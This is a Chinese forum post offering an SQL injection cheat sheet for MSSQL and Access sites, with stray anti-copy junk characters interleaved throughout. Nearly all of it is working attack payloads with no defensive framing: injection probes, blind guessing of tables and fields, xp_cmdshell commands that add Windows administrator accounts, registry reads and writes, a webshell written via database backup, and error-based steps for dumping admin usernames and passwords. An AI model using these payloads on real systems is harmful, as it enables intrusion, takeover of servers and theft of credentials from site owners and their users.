找回密码
 立即注册
查看: 2749|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入 0 t0 I5 J! H0 `/ }# J& o0 L- T  V
;and 1=1   [: A  W  Q1 y+ |# r
;and 1=2 * k: i( h) c& @$ I1 k

/ l( @# S" W% X2.初步判断是否是mssql 4 @0 e" U3 v! N
;and user>0
5 c% Y: E9 K! x4 ]% @5 D" R! v
0 U" J5 |1 p, ~& R3.判断数据库系统
& i+ k  E. a) S  b3 h' g;and (select count(*) from sysobjects)>0 mssql
4 b* _0 T" Q) H0 c  H$ C( l2 K;and (select count(*) from msysobjects)>0 access . H% _- q6 x* x( W& I: W

3 ?% V& C* r5 a8 G$ |4 n4.注入参数是字符 * Q2 s  u* Y  \+ a3 i4 I
'and [查询条件] and ''='
7 U; U; R# S3 X) n# x; J
4 F+ D: E5 u+ u* E; C5.搜索时没过滤参数的
3 I  f* M- I' M'and [查询条件] and '%25'='
3 y& g7 i( l8 a+ @4 ^2 y7 ^
# s& D" P2 N5 ~# f6.猜数表名 - G% P) d2 X9 T) L  v
;and (select Count(*) from [表名])>0 & ]9 W0 b. F* |) A( a

+ }! K" ~3 D6 t. w# l7.猜字段 7 z6 P, g( r  W2 U$ B5 @
;and (select Count(字段名) from 表名)>0
2 Z* ^. y) s- }; [* A) q
; c$ ?6 p% X4 P! O, r8.猜字段中记录长度 # l' F; B: c# G
;and (select top 1 len(字段名) from 表名)>0 " N' o0 b/ @) V. I( z  p

' k4 t6 T, e6 E* I4 k: C+ ^2 A+ X9.(1)猜字段的ascii值(access)
0 `* i5 e' T/ |2 ^2 Z& P;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 - f9 `8 [$ b9 T  E9 e

1 `) a- }  H2 D7 q7 L(2)猜字段的ascii值(mssql) 8 M- s3 f2 u4 \* X
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 % M( U/ U, ]7 M) Y

  l- `, ]9 o, S! Q' p7 m& G; c10.测试权限结构(mssql)
5 }' z: l0 m: J;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
2 x. N4 y/ W( e% T;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
2 L) ^3 b1 I) |; J;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
; ^6 E" U, d/ d$ x+ R;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- % Q! K( K6 B5 o; {. Q* Q
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
( u6 J. `$ f, Y/ g;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 7 [% L# S: \; D% ]% @: U0 \
;and 1=(select IS_MEMBER('db_owner'));-- 3 v5 ^4 z% @0 B& F! P7 X( Y

( D' e! o! m$ o6 ~" _; U6 `11.添加mssql和系统的帐户
: @' Y( o  y0 z1 M& k) g( t& N;exec master.dbo.sp_addlogin username;-- 1 q3 Z1 I" H. s/ H$ D2 f/ t
;exec master.dbo.sp_password null,username,password;-- & d; v9 D) n* B& J3 u7 b
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- , x  T3 A" c( A" T3 Q* W& A  ?
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- # {+ L' D6 N+ e; P, j$ m+ H( @
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 9 I2 i4 ~* r% ~7 r9 z: m
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 2 k8 B/ ]+ R1 p/ m

2 r+ y& z) f; j2 D# s12.(1)遍历目录 ) T% P; w2 E, M6 O! M
;create table dirs(paths varchar(100), id int) 8 H; [/ t9 u+ {4 F5 V( B, }
;insert dirs exec master.dbo.xp_dirtree 'c:\'
& W0 [( b2 E; R9 Y+ x. V# m;and (select top 1 paths from dirs)>0 9 T, N  O! }  Q& H0 k9 G
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ( U1 Q8 `1 N1 Z0 t+ L6 o1 U

5 s/ B/ D1 R) r  q( H# f(2)遍历目录 : C5 A( N; g" d0 _& J" @
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
. p' {) G+ y3 Z  ^1 V;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 7 p" u  n/ O0 J. A
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 $ I& W6 G$ O* Q# ?4 ?
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
7 @5 I) F2 g3 V) V;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
! u* A2 C5 \- q$ R# y" _$ S0 i  M0 y% y$ e3 T) O3 h
13.mssql中的存储过程
) c2 k" b; A6 n6 @& d+ G' a6 Hxp_regenumvalues 注册表根键, 子键 ; a# e9 v- k" `; X% W# N; h
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 8 U# y$ A# n( v4 E
xp_regread 根键,子键,键值名
. @1 l1 E: f/ j. Q7 S' z# F;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 0 s' v- P" u" ~9 O  f: R, y' [, w
xp_regwrite 根键,子键, 值名, 值类型, 值 0 a$ h- w6 g( v; \7 s; m
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
% Z4 w+ W; t! ~) M- f& ]" X! Z;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 2 A2 A' @  y; {: H8 [" r- ^
xp_regdeletevalue 根键,子键,值名 3 x, ^" E( @' M& ^
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 ; v1 c6 F  o8 c! q) g$ h
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
% G5 M. C+ x- H/ r9 M( }9 t- _$ g7 }) F& D0 d' }) A! L
14.mssql的backup创建webshell ! t. @& R# S2 Y! O+ n9 o
use model 6 e' R0 M9 M7 Y+ e7 m. B
create table cmd(str image);
8 ]( m' C# _: @insert into cmd(str) values ('<% Dim oScript %>'); $ `3 k1 T* }# O/ f( K" M$ ~
backup database model to disk='c:\l.asp';
6 _! ^& Q7 B9 [# l4 p3 N! c( i( o6 ~" Q: Q$ j/ i  D4 j
15.mssql内置函数 5 U/ A/ ?! a6 `- b; v8 T: x( N
;and (select @@version)>0 获得Windows的版本号
0 n% M9 b2 \% W9 {2 @;and user_name()='dbo' 判断当前系统的连接用户是不是sa
1 u) ?! N9 `3 C. _* v- d;and (select user_name())>0 爆当前系统的连接用户 # H: z, a' O- s  Q; h1 z" @" }' B: @
;and (select db_name())>0 得到当前连接的数据库 3 f" U: D1 n3 A1 [# B. ^7 L

+ N  L4 r: y5 ?4 e: |  M3 n9 x# Z
. w2 E& |5 U6 i7 H* }
  p8 o- ]2 t* i5 f, \MSSQL手注暴库
- _  f0 O0 e7 u' n+ T
) n& L% ^- R6 ^( j: P% |1.暴出当前表名和列名
0 y. K7 A( T3 \/ R# A3 ]0 N在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
; z7 i# p3 U. ~! G1 H. K0 b. N- |. D: h3 {
第一.爆出所有数据库名
. l0 ~" N4 @7 i' W利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。9 v( }5 p/ ~* D. m2 V
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。1 S, @% V+ O- w$ H& b' o
- _# u) r1 A, H7 L& x7 V9 M
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名6 i- P* j! v' g' h; e* ?
8 \) @5 D% j' y0 M
& X0 ]  i2 t9 L- a1 O! m/ o
第二.爆出指定库中的所有表名
7 n5 a0 v& `3 i1 J得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。' O8 S  l' G) f& |
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。. U5 v0 h4 L- r$ [0 k

, y4 m$ Q( `; Y. ~) wand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
: @" C* G9 ?* O. pand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--* L# P! ?3 s  g8 t' x: X+ X( P& I
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
0 t. \& C& W3 G* K2 X" ^' Z' c* k2 O; U" t- P" M
4.爆出指定表中的所有列名9 ?+ e6 B# D8 B' w
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 3 @/ U  r/ E! i
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'
5 a7 K8 T- e: E% S$ @/ T
0 L  c( _! Z& kand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名
( ~8 u" G3 [0 i$ O" t# I  j" e; z
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- ) ~" g, }; v4 C9 j3 M% p
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
8 E( r0 ^# [8 h8 c4 C; u" x+ P4 g/ {% L- H* _; N4 j

9 l& g4 ~* u! \0 Xand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值$ A0 {; ~# p& H4 k- k3 D, ?
) X! O/ O) {# s% I2 }) V4 v2 O
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
# ]% q* P; r% m; J
( R$ G( A" W9 {% ^5 \and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- , E8 D! A4 i' i+ r" D& l! |

7 l! U: ^2 m* \# @' H' E
$ j6 P3 w; Z, l$ Q: B# I+ k% u7 f6 F/ r9 S1 Z" X* ]' i
5.读取指定表中的数据4 Z2 [2 D) m1 z/ N& J+ w& ~
; `4 Z4 h% X( a# F* z3 D3 v
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 ; P; b1 E8 C" Z6 `
. w+ a. U) ^! b9 ~" Y7 H
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
! R6 ~, p) M; u" s# }
* z* N/ X1 f" T9 L8 ^' Y8 V9 \. rand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
1 ?& W+ z) O( ]! z& ^/ G! N7 f* j4 \3 y# K4 r+ R
/ Y8 x8 u  ~8 Y: {& V
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)
1 x6 l7 E* O. V9 g8 {* r7 C) Z9 r- {8 ^2 C% C. H6 K
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)1 G4 U+ {9 a. [; d; J
/ A5 K7 e: _1 j2 @  X8 g
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
' U7 o/ v+ Y% U* [8 x) G6 F3 ~' w9 G4 I" G- K, a. b
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
' {! |" J/ w" W; N6 s( `2 M
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表